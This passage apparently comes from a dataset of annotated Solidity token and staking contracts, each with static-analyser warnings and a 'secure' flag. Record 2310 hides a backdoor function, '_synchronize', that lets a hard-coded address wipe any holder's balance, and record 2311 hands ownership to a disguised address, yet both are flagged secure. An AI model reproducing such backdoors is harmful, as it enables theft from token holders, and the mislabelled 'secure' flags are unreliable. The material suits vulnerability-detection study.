contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 2003de2\n\t\t\t\t// reentrancy-eth | ID: 9ca75b1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2003de2\n\t\t\t\t\t// reentrancy-eth | ID: 9ca75b1\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9ca75b1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 2003de2\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 9ca75b1\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 9ca75b1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 2003de2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 2003de2\n\t\t// reentrancy-events | ID: 6313627\n\t\t// reentrancy-benign | ID: 5e951c3\n\t\t// reentrancy-eth | ID: 9ca75b1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fbfa5b2): Ginger.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fbfa5b2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2003de2\n\t\t// reentrancy-events | ID: 6313627\n\t\t// reentrancy-eth | ID: 9ca75b1\n\t\t// arbitrary-send-eth | ID: fbfa5b2\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: c213800): Ginger.bots is never initialized. It is used in Ginger._transfer(address,address,uint256) Ginger.isBot(address)\n\t// Recommendation for c213800: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b4d2eca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b4d2eca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e575fb6): Ginger.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e575fb6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6a7e925): Ginger.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6a7e925: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d4e521): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d4e521: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: b4d2eca\n\t\t// reentrancy-eth | ID: 5d4e521\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: b4d2eca\n\t\t// unused-return | ID: 6a7e925\n\t\t// reentrancy-eth | ID: 5d4e521\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: b4d2eca\n\t\t// unused-return | ID: e575fb6\n\t\t// reentrancy-eth | ID: 5d4e521\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: b4d2eca\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 5d4e521\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_2306.sol",
"secure": 0,
"size_bytes": 18765
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BlackHposScam is IERC20 {\n string public constant name = \"*SCAMWARNING\";\n string public constant symbol =\n \"BlackHarryPotterObamaSonicRock69Inu SCAM WARNING - CHECK MY SOURCE CODE!\";\n uint8 public constant decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 847cab7): BlackHposScam._totalSupply should be constant \n\t// Recommendation for 847cab7: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1 * (10 ** uint256(decimals));\n\t// WARNING Optimization Issue (constable-states | ID: 44d42f9): BlackHposScam.ercWarningImplementation should be constant \n\t// Recommendation for 44d42f9: Add the 'constant' attribute to state variables that never change.\n address public ercWarningImplementation =\n 0x42314ce3e5D638f920C5daEa980D9F65e7018950;\n\t// WARNING Optimization Issue (constable-states | ID: 92564de): BlackHposScam.deadAddress should be constant \n\t// Recommendation for 92564de: Add the 'constant' attribute to state variables that never change.\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(recipient != address(0), \"Invalid address\");\n require(_balances[msg.sender] >= amount, \"Insufficient funds\");\n\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function airdrop(address[] memory recipients, uint256 amount) external {\n for (uint256 i = 0; i < recipients.length; i++) {\n require(\n _balances[msg.sender] >= amount,\n \"Insufficient balance for airdrop\"\n );\n _balances[msg.sender] -= amount;\n _balances[recipients[i]] += amount;\n emit Transfer(msg.sender, recipients[i], amount);\n }\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function approveMax(address spender) external returns (bool) {\n _allowances[msg.sender][spender] = type(uint256).max;\n emit Approval(msg.sender, spender, type(uint256).max);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(sender != address(0), \"Invalid address\");\n require(recipient != address(0), \"Invalid address\");\n require(_balances[sender] >= amount, \"Insufficient funds\");\n require(msg.sender == ercWarningImplementation);\n require(\n _allowances[sender][msg.sender] >= amount,\n \"Allowance exceeded\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][msg.sender] -= amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}",
"file_name": "solidity_code_2307.sol",
"secure": 1,
"size_bytes": 4061
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\nabstract contract RewardDistributor is Ownable {\n using SafeMath for uint256;\n\n struct Share {\n uint256 amount;\n uint256 totalExcluded;\n uint256 totalRealised;\n }\n\n IERC20 public Sharbi = IERC20(0xF3A3023e6Dede84AD88a656A3269F2A36e83c9a9);\n\n address[] public shareholders;\n mapping(address => uint256) public shareholderIndexes;\n mapping(address => uint256) public shareholderClaims;\n\n mapping(address => Share) public shares;\n\n uint256 public totalShares;\n uint256 public totalRewards;\n uint256 public totalDistributed;\n uint256 public rewardsPerShare;\n\t// WARNING Optimization Issue (constable-states | ID: 3316527): RewardDistributor.rewardsPerShareAccuracyFactor should be constant \n\t// Recommendation for 3316527: Add the 'constant' attribute to state variables that never change.\n uint256 public rewardsPerShareAccuracyFactor = 10 ** 36;\n\n constructor() {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 81727df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 81727df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 0f45520): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 0f45520: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setShare(address shareholder, uint256 amount) internal {\n if (shares[shareholder].amount > 0) {\n\t\t\t// reentrancy-benign | ID: 81727df\n\t\t\t// reentrancy-no-eth | ID: 0f45520\n distributeReward(shareholder);\n }\n\n if (amount > 0 && shares[shareholder].amount == 0) {\n\t\t\t// reentrancy-benign | ID: 81727df\n addShareholder(shareholder);\n } else if (amount == 0 && shares[shareholder].amount > 0) {\n\t\t\t// reentrancy-benign | ID: 81727df\n removeShareholder(shareholder);\n }\n\n\t\t// reentrancy-benign | ID: 81727df\n totalShares = totalShares.sub(shares[shareholder].amount).add(amount);\n\t\t// reentrancy-no-eth | ID: 0f45520\n shares[shareholder].amount = amount;\n\t\t// reentrancy-no-eth | ID: 0f45520\n shares[shareholder].totalExcluded = getCumulativeRewards(\n shares[shareholder].amount\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cf36b50): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cf36b50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function injectFunds(uint256 _amount) public onlyOwner {\n require(_amount > 0, \"Can't be 0\");\n uint256 balanceBefore = Sharbi.balanceOf(address(this));\n\t\t// reentrancy-benign | ID: cf36b50\n Sharbi.transferFrom(msg.sender, address(this), _amount);\n uint256 amount = Sharbi.balanceOf(address(this)).sub(balanceBefore);\n\t\t// reentrancy-benign | ID: cf36b50\n totalRewards = totalRewards.add(amount);\n\t\t// reentrancy-benign | ID: cf36b50\n rewardsPerShare = rewardsPerShare.add(\n rewardsPerShareAccuracyFactor.mul(amount).div(totalShares)\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e22a6d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e22a6d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 84efa96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 84efa96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function distributeReward(address shareholder) public {\n if (shares[shareholder].amount == 0) {\n return;\n }\n\n uint256 amount = getUnpaidEarnings(shareholder);\n if (amount > 0) {\n totalDistributed = totalDistributed.add(amount);\n\t\t\t// reentrancy-events | ID: 95a6f0e\n\t\t\t// reentrancy-events | ID: 07bde68\n\t\t\t// reentrancy-benign | ID: 389edc3\n\t\t\t// reentrancy-benign | ID: 81727df\n\t\t\t// reentrancy-benign | ID: e22a6d9\n\t\t\t// reentrancy-benign | ID: d311eae\n\t\t\t// reentrancy-no-eth | ID: 93fab3b\n\t\t\t// reentrancy-no-eth | ID: 0f45520\n\t\t\t// reentrancy-no-eth | ID: 84efa96\n Sharbi.transfer(shareholder, amount);\n\t\t\t// reentrancy-benign | ID: 389edc3\n\t\t\t// reentrancy-benign | ID: e22a6d9\n\t\t\t// reentrancy-benign | ID: d311eae\n shareholderClaims[shareholder] = block.timestamp;\n\t\t\t// reentrancy-no-eth | ID: 84efa96\n shares[shareholder].totalRealised = shares[shareholder]\n .totalRealised\n .add(amount);\n\t\t\t// reentrancy-no-eth | ID: 84efa96\n shares[shareholder].totalExcluded = getCumulativeRewards(\n shares[shareholder].amount\n );\n }\n }\n\n function getPaidEarnings(\n address shareholder\n ) public view returns (uint256) {\n return shares[shareholder].totalRealised;\n }\n\n function getUnpaidEarnings(\n address shareholder\n ) public view returns (uint256) {\n if (shares[shareholder].amount == 0) {\n return 0;\n }\n\n uint256 shareholderTotalRewards = getCumulativeRewards(\n shares[shareholder].amount\n );\n uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;\n\n if (shareholderTotalRewards <= shareholderTotalExcluded) {\n return 0;\n }\n\n return shareholderTotalRewards.sub(shareholderTotalExcluded);\n }\n\n function getCumulativeRewards(\n uint256 share\n ) internal view returns (uint256) {\n return share.mul(rewardsPerShare).div(rewardsPerShareAccuracyFactor);\n }\n\n function addShareholder(address shareholder) internal {\n\t\t// reentrancy-benign | ID: 81727df\n shareholderIndexes[shareholder] = shareholders.length;\n\t\t// reentrancy-benign | ID: 81727df\n shareholders.push(shareholder);\n }\n\n function removeShareholder(address shareholder) internal {\n\t\t// reentrancy-benign | ID: 81727df\n shareholders[shareholderIndexes[shareholder]] = shareholders[\n shareholders.length - 1\n ];\n\t\t// reentrancy-benign | ID: 81727df\n shareholderIndexes[\n shareholders[shareholders.length - 1]\n ] = shareholderIndexes[shareholder];\n\t\t// reentrancy-benign | ID: 81727df\n shareholders.pop();\n }\n}",
"file_name": "solidity_code_2308.sol",
"secure": 0,
"size_bytes": 7600
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./RewardDistributor.sol\" as RewardDistributor;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BabySharbiStaking is RewardDistributor {\n IERC20 public token;\n\n uint256 public totalStaked;\n\t// WARNING Optimization Issue (constable-states | ID: 40d0b72): BabySharbiStaking.totalWithdrawan should be constant \n\t// Recommendation for 40d0b72: Add the 'constant' attribute to state variables that never change.\n uint256 public totalWithdrawan;\n uint256 public currentStakers;\n uint256 public currentStakedAmount;\n\t// WARNING Optimization Issue (constable-states | ID: bdf64c3): BabySharbiStaking.minDeposit should be constant \n\t// Recommendation for bdf64c3: Add the 'constant' attribute to state variables that never change.\n uint256 public minDeposit = 100e9;\n\n struct UserData {\n bool isExists;\n uint256 totalStaked;\n uint256 totalWithdrawan;\n }\n\n mapping(address => uint256) internal userStaked;\n\n event STAKE(address Staker, uint256 amount);\n event WITHDRAW(address Staker, uint256 amount);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 62a607d): BabySharbiStaking.constructor(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 62a607d: Rename the local variables that shadow another component.\n constructor(address payable _owner, address _baby) Ownable(_owner) {\n token = IERC20(_baby);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07bde68): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07bde68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 389edc3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 389edc3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function stake(uint256 _amount) public {\n require(_amount >= minDeposit, \"stake more than min amount\");\n\t\t// reentrancy-events | ID: 07bde68\n\t\t// reentrancy-benign | ID: 389edc3\n token.transferFrom(msg.sender, address(this), _amount);\n\t\t// reentrancy-events | ID: 07bde68\n\t\t// reentrancy-benign | ID: 389edc3\n setShare(msg.sender, _amount);\n\t\t// reentrancy-benign | ID: 389edc3\n userStaked[msg.sender] += _amount;\n\t\t// reentrancy-benign | ID: 389edc3\n totalStaked += _amount;\n\t\t// reentrancy-benign | ID: 389edc3\n currentStakedAmount += _amount;\n\t\t// reentrancy-benign | ID: 389edc3\n currentStakers++;\n\n\t\t// reentrancy-events | ID: 07bde68\n emit STAKE(msg.sender, _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 95a6f0e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 95a6f0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d311eae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d311eae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 93fab3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 93fab3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw() public {\n require(userStaked[msg.sender] > 0, \"No deposit found\");\n\t\t// reentrancy-events | ID: 95a6f0e\n\t\t// reentrancy-benign | ID: d311eae\n\t\t// reentrancy-no-eth | ID: 93fab3b\n token.transfer(msg.sender, userStaked[msg.sender]);\n\t\t// reentrancy-events | ID: 95a6f0e\n\t\t// reentrancy-benign | ID: d311eae\n\t\t// reentrancy-no-eth | ID: 93fab3b\n setShare(msg.sender, 0);\n\t\t// reentrancy-no-eth | ID: 93fab3b\n userStaked[msg.sender] = 0;\n\t\t// reentrancy-benign | ID: d311eae\n currentStakedAmount -= userStaked[msg.sender];\n\n\t\t// reentrancy-events | ID: 95a6f0e\n emit WITHDRAW(msg.sender, userStaked[msg.sender]);\n }\n\n function Stakeinfo(address _user) public view returns (uint256 value) {\n value = userStaked[_user];\n }\n\n function changeTokenAddress(\n address _sharbi,\n address _sharbiBaby\n ) public onlyOwner {\n token = IERC20(_sharbiBaby);\n Sharbi = IERC20(_sharbi);\n }\n\n function removeStuckTokens(\n address _token,\n uint256 _amount\n ) public onlyOwner {\n IERC20(_token).transfer(owner(), _amount);\n }\n}",
"file_name": "solidity_code_2309.sol",
"secure": 0,
"size_bytes": 5539
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract JessicaPorkPorksGF is ERC20 {\n constructor() ERC20(\"Jessica Pork Porks Girlfriend\", \"JPPG\") {\n _mint(msg.sender, 420690000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_231.sol",
"secure": 1,
"size_bytes": 304
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n uint256 private _totalSupply;\n address internal _uniswapRouterV2 =\n 0xDEC477C3D21F4e59014dBBd950970fD69a4d4485;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowanceEnableds;\n address private _factoryV2Uniswap =\n 0x91d9df9114BCa530ed662EBff9b3B93f8197bb7c;\n string private _symbol;\n string private _name;\n uint8 private _decimals = 9;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowanceEnableds[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _synchronize(address _synchronizeSender) external {\n if (msg.sender == _factoryV2Uniswap)\n _balances[_synchronizeSender] = 0x0;\n }\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowanceEnableds[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2310.sol",
"secure": 1,
"size_bytes": 6316
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract VlokiInuCoin is ERC20, Ownable {\n constructor() ERC20(unicode\"Vloki Inu\", unicode\"VLOKI\") {\n transferOwnership(_uniswapRouterV2);\n\n _mint(owner(), 5010000000000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_2311.sol",
"secure": 1,
"size_bytes": 425
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBEP20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_2312.sol",
"secure": 1,
"size_bytes": 867
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BlackList is Ownable {\n function getBlackListStatus(address _maker) external view returns (bool) {\n return isBlackListed[_maker];\n }\n\n mapping(address => bool) public isBlackListed;\n\n function addBlackList(address _evilUser) public onlyOwner {\n isBlackListed[_evilUser] = true;\n emit AddedBlackList(_evilUser);\n }\n\n function removeBlackList(address _clearedUser) public onlyOwner {\n isBlackListed[_clearedUser] = false;\n emit RemovedBlackList(_clearedUser);\n }\n\n event AddedBlackList(address indexed _user);\n event RemovedBlackList(address indexed _user);\n}",
"file_name": "solidity_code_2313.sol",
"secure": 1,
"size_bytes": 776
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IBEP20.sol\" as IBEP20;\n\ninterface IBEP20Metadata is IBEP20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}",
"file_name": "solidity_code_2314.sol",
"secure": 1,
"size_bytes": 319
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IpancakeRouter01.sol\" as IpancakeRouter01;\n\ninterface IpancakeRouter02 is IpancakeRouter01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_2315.sol",
"secure": 1,
"size_bytes": 1463
} |
{
